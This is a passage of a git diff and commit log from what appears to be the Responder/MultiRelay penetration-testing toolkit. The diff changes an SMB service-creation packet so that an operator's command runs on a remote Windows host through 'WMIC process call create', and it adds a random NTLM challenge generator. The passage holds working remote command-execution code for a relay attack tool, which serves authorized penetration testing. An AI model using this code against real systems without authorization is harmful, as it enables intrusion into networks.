        ## Convert to UTF-16LE
        self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
        self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
@@ -677,10 +682,7 @@ class SMBDCESVCCTLCreateService(Packet):
        ("BinPathMaxCount",      "\xb6\x00\x00\x00"),
        ("BinPathOffset",        "\x00\x00\x00\x00"),
        ("BinPathActualCount",   "\xb6\x00\x00\x00"),
-        ("FileName",             ""),
-        ("BinPathName",          ""),
        ("BinCMD",               ""),
-        ("BintoEnd",             ""),
        ("BinCMDTerminator",     "\x00\x00"),
        ("LoadOrderGroup",       "\x00\x00\x00\x00"),
        ("TagID",                "\x00\x00\x00\x00"),
@@ -694,29 +696,13 @@ class SMBDCESVCCTLCreateService(Packet):
    ])

    def calculate(self):
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering

-        File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
        WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
-        FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
-        #That is: delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
-        self.fields["FileName"] = ""#Reset it.
-        self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
-        self.fields["BinCMD"] = FinalCMD
-        self.fields["BintoEnd"] = "& %COMSPEC% /C call "+File+"&exit"
-        BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
+
+        ##Run the actual command via WMIC, no need to write/execute from a file.
+        self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
+
+        BinDataLen = str(self.fields["BinCMD"])

        ## Calculate first
        self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -728,9 +714,8 @@ class SMBDCESVCCTLCreateService(Packet):
        ## Then convert to UTF-16LE
        self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
        self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
-        self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
        self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
-        self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
+

 class SMBDCESVCCTLOpenService(Packet):
    fields = OrderedDict([
--- a/utils.py
+++ b/utils.py
@@ -23,6 +23,17 @@ import time
 import settings
 import datetime

+def RandomChallenge():
+    if settings.Config.NumChal == "random":
+       from random import getrandbits
+       NumChal = '%0x' % getrandbits(16 * 4)
+       Challenge = ''
+       for i in range(0, len(NumChal),2):
+	   Challenge += NumChal[i:i+2].decode("hex")
+       return Challenge
+    else:
+       return settings.Config.Challenge
+
 def HTTPCurrentDate():
    Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
    return Date
Author	SHA1	Message	Date
lgandx	1d38cd39af	Added: Random challenge for each requests (default)	2017-01-03 17:35:49 -03:00
lgandx	17dc81cb68	Added paypal button	2016-12-21 11:53:33 -03:00
lgandx	ab2d8907f0	Added: Scripting support. -c and -d command line switch	2016-11-18 11:55:16 -03:00
lgandx	730808c83c	Added: BTC donation address	2016-11-12 12:28:13 -03:00
lgandx	b455ff406f	re-fixed Typo	2016-11-10 14:28:16 -03:00
lgandx	aff17ca9d3	MultiRelay now executes WMIC commands instead of bat files	2016-11-10 14:24:54 -03:00
lgandx	62d7dc4080	Merge pull request #18 from trustedsec/patch-1 Update RelayMultiCore.py	2016-11-10 10:57:18 -03:00
trustedsec	cad3adc319	Update RelayMultiCore.py Minor typo fixes, nothing major.	2016-11-10 14:13:13 +01:00
lgandx	fc2aadca6e	Minor fix	2016-11-09 14:12:37 -03:00
lgandx	90071187cd	Merge pull request #17 from leonjza/master Check if the platform is macOS before setting TCP_KEEPIDLE	2016-11-02 11:18:10 -03:00
Leon Jacobs	bcac8c4166	Check if the platform is macOS before trying to set a non-exported TCP_KEEPIDLE option	2016-11-02 09:25:37 +02:00
lgandx	4a7499df03	Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones.	2016-10-20 23:43:34 -03:00
lgandx	581d7e6849	Merge pull request #14 from nvssks/master Patch for Android 4.x terminals that are missing some linux commands	2016-10-20 01:03:10 -03:00
Nikos Vassakis	f321c1bbcc	Patch for Android 4.x terminals that are missing some linux commands	2016-10-19 18:24:12 +01:00